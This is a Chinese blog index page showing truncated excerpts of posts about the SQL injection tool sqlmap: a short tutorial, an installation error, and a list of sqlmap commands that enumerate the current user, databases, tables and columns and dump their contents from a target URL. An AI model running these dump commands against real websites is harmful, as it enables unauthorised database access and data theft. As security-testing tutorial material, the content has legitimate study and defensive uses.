良玉的博客 点点滴滴,积水成河_良玉的博客_页游、手游linux运维工程师之路

SQLMAP注入简易教程

、SQLMAP用于Access数据库注入(1) 猜解是否能注入win: python sqlmap.py -u "http://blogxxx.uouo123.xxx/en/CompHonorBig.asp?id=7"Linux : .lmap.py -u "http://blogxxx.uouo123.xxx/en/CompHonorBig.asp?id=7"(2) 猜解表 win: python sqlmap.py -u "http

阅读全文...

安装sqlmap报错

python sqlmap.py missing one or more core extensions ('gzip', 'ssl', 'sqlite3', 'zlib')# pythonPython 2.7.14 (default, Apr 10 2018, 23:47:09) [GCC 4.8.2] on linux2Type "help", "copyright", &quo

阅读全文...

sqlmap使用实例

******************基本步骤***************
sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql" --current-user #获取当前用户名称
sqlmap -u "http://www.xxoo.com/news?id=1" --level=3 --smart --dbms "Mysql" --current-db  #获取当前数据库名称
sqlmap -u "http://www.xxoo.com/news?id=1" --level=3 --smart --dbms "Mysql"--tables  -D "db_name" #列表名
sqlmap -u "http://url/news?id=1" --level=3 --smart  --dbms "Mysql" --columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql"  --dump  -C "column_name"  -T "table_name" -D "db_name" -v 0   #获取字段内容

阅读全文...

标签: sqlmapsql注入

作者:良玉 分类:系统安全 浏览:1070 评论:0